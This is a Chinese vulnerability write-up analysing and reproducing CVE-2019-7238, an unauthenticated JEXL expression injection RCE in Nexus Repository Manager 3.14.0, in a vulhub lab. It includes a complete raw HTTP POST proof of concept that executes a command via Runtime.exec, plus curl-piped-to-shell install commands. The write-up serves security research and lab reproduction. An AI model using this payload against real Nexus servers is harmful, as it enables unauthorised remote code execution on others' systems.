Nexus Repository Manager 3(CVE-2019-7238) 远程代码执行漏洞分析和复现
0x00 漏洞背景
Nexus Repository Manager 3是一款软件仓库,可以用来存储和分发Maven,NuGET等软件源仓库。其3.14.0及之前版本中,存在一处基于OrientDB自定义函数的任意JEXL表达式执行功能,而这处功能存在未授权访问漏洞,将可以导致任意命令执行漏洞。2019年2月5日Sonatype发布安全公告,在Nexus Repository Manager 3中由于存在访问控制措施的不足,未授权的用户可以利用该缺陷构造特定的请求在服务器上执行Java代码,从而达到远程代码执行的目的。
0x01 影响范围
Nexus Repository Manager OSS/Pro 3.6.2 版本到 3.14.0 版本
0x02 漏洞概述
从官方的漏洞简述来看简单的来说就是由于未授权访问的用户可以构造请求而造成任意代码执行。而且因为3.15.0+以上的版本增加了用户认证,所以3.15.0+的版本不受此漏洞的影响。所以根据diff的结果,可以大致的确定漏洞在org.sonatype.nexus.coreui.ComponentComponent#previewAssets:
0x03 整体触发流程
ExtDirectModule$configure:60 # 路由绑定与请求解析
ExtDirectServlet$doPost:155 # 处理post请求
DirectJNgineServlet$doPost:595 # 根据不同的Content-Type来解析请求
DirectJNgineServlet$processRequest:632 # 解析json请求
JsonRequestProcesor$process:119 # 解析json语法树
JsonRequestProcessor$getIndividualJsonRequests:216 # 提取json数据
JsonRequestProcesor$process:133 # 构造返回结构
ComponentComponent$previewAssets:188 # 解析post包中的data数据并构造查询语句查询包
ComponentComponent$previewAssets:208 # 获得查询结果
BrowseServiceImpl$previewAssets:252 # 构建OrientDb查询语句
BrowseServiceImpl$previewAssets:258 # 拼接查询语句
BrowseServiceImpl$previewAssets:262 # 执行查询
MetadataNodeEntityAdapter$countByQuery:221 # 执行OrientDb查询语句
ContextExpressionFunction$execute:125 # 提取jexl表达式
ContextExpressionFunction$checkJexlExpression:154 # 执行jexl表达式
0x03 漏洞分析
漏洞的触发主要分两部分:post包解析及jexl表达式执行。
1. post包解析
首先先看一下web.xml中如何做的路由解析:
org.sonatype.nexus.bootstrap.osgi.DelegatingFilter拦截了所有的请求,大概率为动态路由加载,动态路由加载需要配置相应的Module模块用代码将配置与路由进行绑定并显式加载servlet,而该漏洞的入口就在org.sonatype.nexus.extdirect.internal.ExtDirectModule#configure中:
直接跟进org.sonatype.nexus.extdirect.internal.ExtDirectServlet$doPost:
继续向下更进看到处理post请求的部分:
在这里我们跟进看一下如何对json格式的请求进行处理:
首先对json的语法树进行解析,将数据提取出来:
可以看到需要5个变量分别为action、method、tid、type、data。
注意到isBatched是由参数长度决定的,而返回的一个数组,其长度为1,所以isBatched为false。之后就是传入processIndividualRequestsInThisThread方法中:
在这里构造返回的结果,可以看到这里在有一个json反序列化的过程,这里主要是将返回结果以json格式返回。
2. jexl表达式执行
从post包的解析中可以得知我们需要构造5个参数,同时当我们构造好action和method后,可以直接动态调用相应的类与方法。
这个漏洞出现在org.sonatype.nexus.coreui.ComponentComponent#previewAssets:
首先将post包中repositoryName、expression、type的值取出来,这三个参数分别代表已经存在的repository的名字、expression的类型,以及表达式。
着重看一下jexl的处理过程:
注意到这里只是实例化了一个JexlSelector对象,而并没有调用evaluate来执行表达式,所以漏洞的触发点在其他的位置。而真正的表达式执行点在browseService.previewAssets的处理过程中,这一点也是这个漏洞最为难找的一个点。
跟进previewAssets的实现,在org.sonatype.nexus.repository.browse.internal.BrowseServiceImpl#previewAssets:
在这里可以看到表达式最后会被当做参数形成SQL查询,最后由OrientDb执行:
但是OrientDb本身是没有contentExpression这个方法的,也就是说明这个方法是用Java来实现的,找了一下,在org.sonatype.nexus.repository.selector.internal.ContentExpressionFunction:
在checkJexlExpression中:
调用了selectorManage.evaluate来执行jexl表达式:
0x04 构造POC
通过上面的分析,我们只需要按照post包解析中的参数进行相应的构造即可,下面为一个例子:
windows环境搭建:
https://help.sonatype.com/repomanager3/download/download-archives---repository-manager-3
https://sonatype-download.global.ssl.fastly.net/nexus/3/nexus-3.14.0-04-unix.tar.gz
安装参考:
https://help.sonatype.com/learning/repository-manager-3/first-time-installation-and-setup/lesson-1%3A--installing-and-starting-nexus-repository-manager
在windows上安装成功了。需要执行(默认密码:admin/admin123)
nexus.exe /run
其POC如下:
POST /service/extdirect HTTP/1.1
Host:155.138.147.1:8081
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Content-Type: application/json
Content-Length: 308
Connection: close
{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":25,"filter":[{"property":"repositoryName","value":"*"},{"property":"expression","value":"''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":4}
注意,这个漏洞需要当Nexus中存在已有的jar包,在本地验证的时候先传一个jar报上去。至于原理分析可能后面会单独再拿出来分析。
0x05 环境搭建
1.在Ubuntu 16.04上安装docker和docker-compose:
(1).安装PIP
curl -s https://bootstrap.pypa.io/get-pip.py | python3
(2).安装docker
curl -s https://get.docker.com/ | sh
(3).启动docker服务
service docker start
(4).安装docker compose
pip install docker-compose
(1).下载漏洞环境项目
git clone https://github.com/vulhub/vulhub.git
(2).进入到nexus利用环境
cd vulhub/nexus/CVE-2019-7238
(3).编译环境
docker-compose build
(4).执行如下命令启动Nexus Repository Manager 3.14.0
docker-compose build
等待一段时间环境才能成功启动,访问http://your-ip:8081即可看到的Web页面。
账号使用密码admin:admin123登录后台,然后在Maven的版本下随便上传一个JAR包:
触发该漏洞,必须保证仓库里至少有一个包存在。
0x06 漏洞复现
1.下载漏洞利用poc项目
git clone https://github.com/backlion/CVE-2019-7238.git
2.进入到CVE-2019-7238目录
cd CVE-2019-7238
3.修改cve-2019-7238.py.这里根据实际情况来修改remote = ' http://127.0.0.1:8081 '和 ARCH = “ LINUX ”的值
vi CVE-2019-7238.py
0x07 修复建议
目前官方已经发布新版本修改了该漏洞,建议您参照上述【安全版本】升级到对应的最新版本。
最新版本下载链接:
https://help.sonatype.com/repomanager3/download
0x08 参考链接
https://cert.360.cn/report/detail?id=3ec687ec01cccd0854e2706590ddc215
https://blog.csdn.net/caiqiiqi/article/details/87204472
https://blog.51cto.com/13770310/2351479
https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2019-7238
Nexus Repository Manager 3(CVE-2019-7238) 远程代码执行漏洞分析和复现的更多相关文章
- thinkphp5.0.22远程代码执行漏洞分析及复现
虽然网上已经有几篇公开的漏洞分析文章,但都是针对5.1版本的,而且看起来都比较抽象:我没有深入分析5.1版本,但看了下网上分析5.1版本漏洞的文章,发现虽然POC都是一样的,但它们的漏洞触发原因是不同 ...
- [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)
Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...
- Spring框架的反序列化远程代码执行漏洞分析(转)
欢迎和大家交流技术相关问题: 邮箱: jiangxinnju@163.com 博客园地址: http://www.cnblogs.com/jiangxinnju GitHub地址: https://g ...
- ThinkPHP 5.x远程命令执行漏洞分析与复现
0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的 ...
- CVE-2012-1876Microsoft Internet Explorer Col元素远程代码执行漏洞分析
Microsoft Internet Explorer是微软Windows操作系统中默认捆绑的WEB浏览器. Microsoft Internet Explorer 6至9版本中存在漏 ...
- CVE-2012-0003 Microsoft Windows Media Player ‘winmm.dll’ MIDI文件解析远程代码执行漏洞 分析
[CNNVD]Microsoft Windows Media Player ‘winmm.dll’ MIDI文件解析远程代码执行漏洞(CNNVD-201201-110) Microsoft Wi ...
- Struts2-057远程代码执行漏洞(s2-057/CVE-2018-11776)复现
参考了大佬的链接:https://github.com/jas502n/St2-057 00x01前言 Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用 ...
- ThinkPHP 5.0远程命令执行漏洞分析与复现
0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的 ...
- CVE-2018-7600 Drupal核心远程代码执行漏洞分析
0x01 漏洞介绍 Drupal是一个开源内容管理系统(CMS),全球超过100万个网站(包括政府,电子零售,企业组织,金融机构等)使用.两周前,Drupal安全团队披露了一个非常关键的漏洞,编号CV ...
随机推荐
- 20155229《网络对抗技术》Exp3:免杀原理与实践
实验预习 免杀: 看为一种能使病毒木马避免被杀毒软件查杀的技术. 免杀的分类: 开源免杀:指在有病毒.木马源代码的前提下,通过修改源代码进行免杀.. 手工免杀:指在仅有病毒.木马的可执行文件(.exe ...
- 2017-2018-2 20155310『网络对抗技术』Exp5:MSF基础应用
2017-2018-2 20155310『网络对抗技术』Exp5:MSF基础应用 基础问题回答 用自己的话解释什么是exploit,payload,encode exploit:由攻击者或渗透测试者利 ...
- 2017-2018-2 《网络对抗技术》20155322 Exp8 web基础
[-= 博客目录 =-] 1-实践目标 1.1-实践介绍 1.2-实践内容 1.3-实践要求 2-实践过程 2.1-Web前端HTML 2.2-Web前端javascipt 2.3-Web后端 2.4 ...
- Luogu P4071 [SDOI2016]排列计数
晚上XZTdalao给我推荐了这道数论题.太棒了又可以A一道省选题了 其实这道题也就考一个错排公式+组合数+乘法逆元 我们来一步一步分析 错排公式 通俗的说就是把n个1~n的数排成一个序列A,并使得所 ...
- BZOJ1000-1099板刷计划(附题解链接)
BZOJ1000-1099板刷计划 感觉完全做不动啊... \(Orz\) \(M\_sea\)板刷bzoj狂魔 1000 - 1009 1000 ...懒得说了 1001 懒得平面图转对偶图,最小割 ...
- 微信小程序之缓存——不同页面传递数据
1. 添加缓存 单个密钥允许存储的最大数据长度为1MB,所有数据存储上限为10MB. // 存储信息到storage // 异步存储 set() { wx.setStorage({ key: 'use ...
- onSaveInstanceState和onRestoreInstanceState触发的时机
先看Application Fundamentals上的一段话: Android calls onSaveInstanceState() before the activity becomes vul ...
- Windows Defender还原误删文件
Win 10 新版本的Windows Defender隔离/删除的文件没有还原的选项,导致被误删的文件无法在威胁记录中恢复.经过尝试发现可以通过修改注册表添加 “还原” 选项 打开注册表,找到 HKE ...
- Kaggle入门(一)——Digit Recognizer
目录 0 前言 1 简介 2 数据准备 2.1 导入数据 2.2 检查空值 2.3 正则化 Normalization 2.4 更改数据维度 Reshape 2.5 标签编码 2.6 分割交叉验证集 ...
- PAT甲题题解-1111. Online Map (30)-PAT甲级真题(模板题,两次Dijkstra,同时记下最短路径)
题意:给了图,以及s和t,让你求s到t花费的最短路程.最短时间,以及输出对应的路径. 对于最短路程,如果路程一样,输出时间最少的. 对于最短时间,如果时间一样,输出节点数最少的. 如果最短路程 ...